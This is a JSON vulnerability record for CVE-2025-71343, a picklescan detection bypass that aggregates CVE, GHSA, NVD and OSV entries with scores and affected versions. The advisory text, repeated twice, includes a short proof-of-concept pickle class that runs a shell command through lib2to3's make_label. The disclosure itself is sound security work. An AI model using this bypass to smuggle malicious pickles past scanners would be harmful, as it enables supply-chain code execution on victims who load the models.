{"id":"CVE-2025-71343","aliases":["EUVD-2025-210411","GHSA-8f67-79jr-8vpr","GHSA-p9w7-82w4-7q8m"],"status":"published","title":"picklescan - Arbitrary Code Execution via lib2to3.pgen2.pgen.ParserGenerator.make_label Detection Bypass","description":"picklescan before 0.0.30 fails to detect malicious pickle files that exploit lib2to3.pgen2.pgen.ParserGenerator.make_label function in the reduce method. Attackers can craft malicious pickle files with embedded code that evades detection but executes arbitrary commands when pickle.load() is called.","severity":{"version":"4.0","score":7.6,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.0038,"percentile":0.32448,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-502"],"published":"2025-08-26T21:34:56Z","modified":"2026-10-28T02:30:39Z","fixes":[{"ecosystem":"PyPI","package":"picklescan","fixed_in":["0.0.30"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"picklescan","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.30"}]}]},{"source":"osv","ecosystem":"PyPI","package":"picklescan","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.30"}]}],"versions":["0.0.1","0.0.10","0.0.11","0.0.12","0.0.13","0.0.14","0.0.15","0.0.16","0.0.17","0.0.18","0.0.19","0.0.2","0.0.20","0.0.21","0.0.22","0.0.23","0.0.24","0.0.25","0.0.26","0.0.27","0.0.28","0.0.29","0.0.3","0.0.4","0.0.5","0.0.6","0.0.7","0.0.8","0.0.9"]}],"products":[{"vendor":"mmaitre314","product":"picklescan"},{"vendor":"picklescan","product":"picklescan"}],"references":[{"url":"https://github.com/mmaitre314/picklescan/security/advisories/GHSA-p9w7-82w4-7q8m","tags":["vendor-advisory","exploit","advisory","web"]},{"url":"https://www.vulncheck.com/advisories/picklescan-arbitrary-code-execution-via-lib2to3-pgen2-pgen-parsergenerator-make-label-detection-bypass","tags":["third-party-advisory","advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-71343","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-8f67-79jr-8vpr"},{"url":"https://github.com/mmaitre314/picklescan/commit/1931c2d04eaca8d20597705ff39cab78ba364e4b","tags":["web"]},{"url":"https://github.com/advisories/GHSA-p9w7-82w4-7q8m"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/71xxx/CVE-2025-71343.json","tags":["advisory"]},{"url":"https://github.com/mmaitre314/picklescan","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2025-71343","title":"picklescan - Arbitrary Code Execution via lib2to3.pgen2.pgen.ParserGenerator.make_label Detection Bypass","description":"picklescan before 0.0.30 fails to detect malicious pickle files that exploit lib2to3.pgen2.pgen.ParserGenerator.make_label function in the reduce method. Attackers can craft malicious pickle files with embedded code that evades detection but executes arbitrary commands when pickle.load() is called.","status":"published","published":"2026-07-04T01:23:32.43Z","modified":"2026-07-07T02:23:27.888Z","cvss":[{"version":"4.0","score":7.6,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N","level":"high","assessor":"cna"},{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N","level":"high","assessor":"cna"}],"cwes":["CWE-502"],"updated_at":"2026-11-02T14:32:43.10004Z"}],"euvd":[{"id":"EUVD-2025-210411","description":"picklescan before 0.0.30 fails to detect malicious pickle files that exploit lib2to3.pgen2.pgen.ParserGenerator.make_label function in the reduce method. Attackers can craft malicious pickle files with embedded code that evades detection but executes arbitrary commands when pickle.load() is called.","status":"published","published":"2026-07-04T01:23:32Z","modified":"2026-07-07T02:23:27Z","cvss":[{"version":"4.0","score":7.6,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N","level":"high"}],"updated_at":"2026-11-02T18:20:12.41351Z"}],"ghsa":[{"id":"GHSA-8f67-79jr-8vpr","title":"picklescan before 0.0.30 fails to detect malicious pickle files that exploit lib2to3.pgen2.pgen...","description":"picklescan before 0.0.30 fails to detect malicious pickle files that exploit lib2to3.pgen2.pgen.ParserGenerator.make_label function in the reduce method. Attackers can craft malicious pickle files with embedded code that evades detection but executes arbitrary commands when pickle.load() is called.","status":"published","published":"2026-07-04T03:31:01Z","modified":"2026-07-04T03:31:09Z","cvss":[{"version":"4.0","score":7.6,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high"},{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N","level":"high"}],"cwes":["CWE-502"],"updated_at":"2026-11-02T15:09:13.717138Z"},{"id":"GHSA-p9w7-82w4-7q8m","title":"Picklescan is missing detection when calling built-in python lib2to3.pgen2.pgen.ParserGenerator.make_label","description":"### Summary\n\nUsing lib2to3.pgen2.pgen.ParserGenerator.make_label function, which is a built-in python library function to execute remote pickle file.\n\n### Details\n\nThe attack payload executes in the following steps:\n\nFirst, the attacker craft the payload by calling to lib2to3.pgen2.pgen.ParserGenerator.make_label function in reduce method\nThen when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.\n\n### PoC\n\n```\nfrom types import SimpleNamespace\nfrom lib2to3.pgen2.pgen import ParserGenerator\n\nclass EvilLib2to3Pgen2ParserGeneratorMakeLabel:\n    def __reduce__(self):\n        c = SimpleNamespace(labels=[], keywords={}, tokens={})\n        label = '\"\"+__import__(\\'os\\').system(\\'whoami\\')'\n        return ParserGenerator.make_label, (None, c, label)\n```\n\n### Impact\n\nWho is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.\nWhat is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.\nSupply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.\n\n### Corresponding\n\nhttps://github.com/FredericDT\nhttps://github.com/Qhaoduoyu","status":"published","published":"2025-08-26T21:34:56Z","modified":"2025-08-26T21:34:58Z","updated_at":"2026-11-02T14:38:54.795089Z"}],"nvd":[{"id":"CVE-2025-71343","description":"picklescan before 0.0.30 fails to detect malicious pickle files that exploit lib2to3.pgen2.pgen.ParserGenerator.make_label function in the reduce method. Attackers can craft malicious pickle files with embedded code that evades detection but executes arbitrary commands when pickle.load() is called.","status":"published","published":"2026-07-04T02:16:21.527Z","modified":"2026-10-12T21:10:00.227Z","cvss":[{"version":"4.0","score":7.6,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high","assessor":"secondary"},{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N","level":"high","assessor":"secondary"}],"cwes":["CWE-502"],"updated_at":"2026-11-02T14:12:02.535029Z"}],"osv":[{"id":"CVE-2025-71343","title":"picklescan - Arbitrary Code Execution via lib2to3.pgen2.pgen.ParserGenerator.make_label Detection Bypass","description":"picklescan before 0.0.30 fails to detect malicious pickle files that exploit lib2to3.pgen2.pgen.ParserGenerator.make_label function in the reduce method. Attackers can craft malicious pickle files with embedded code that evades detection but executes arbitrary commands when pickle.load() is called.","status":"published","published":"2026-07-04T01:23:32.43Z","modified":"2026-10-28T02:30:39.854262463Z","cvss":[{"version":"4.0","score":7.6,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-502"],"updated_at":"2026-11-02T15:44:53.185592Z"},{"id":"GHSA-p9w7-82w4-7q8m","title":"Picklescan is missing detection when calling built-in python lib2to3.pgen2.pgen.ParserGenerator.make_label","description":"### Summary\n\nUsing lib2to3.pgen2.pgen.ParserGenerator.make_label function, which is a built-in python library function to execute remote pickle file.\n\n### Details\n\nThe attack payload executes in the following steps:\n\nFirst, the attacker craft the payload by calling to lib2to3.pgen2.pgen.ParserGenerator.make_label function in reduce method\nThen when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.\n\n### PoC\n\n```\nfrom types import SimpleNamespace\nfrom lib2to3.pgen2.pgen import ParserGenerator\n\nclass EvilLib2to3Pgen2ParserGeneratorMakeLabel:\n    def __reduce__(self):\n        c = SimpleNamespace(labels=[], keywords={}, tokens={})\n        label = '\"\"+__import__(\\'os\\').system(\\'whoami\\')'\n        return ParserGenerator.make_label, (None, c, label)\n```\n\n### Impact\n\nWho is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.\nWhat is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.\nSupply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.\n\n### Corresponding\n\nhttps://github.com/FredericDT\nhttps://github.com/Qhaoduoyu","status":"published","published":"2025-08-26T21:34:56Z","modified":"2026-07-08T07:35:41.428187552Z","updated_at":"2026-11-02T15:46:52.891208Z"}]}}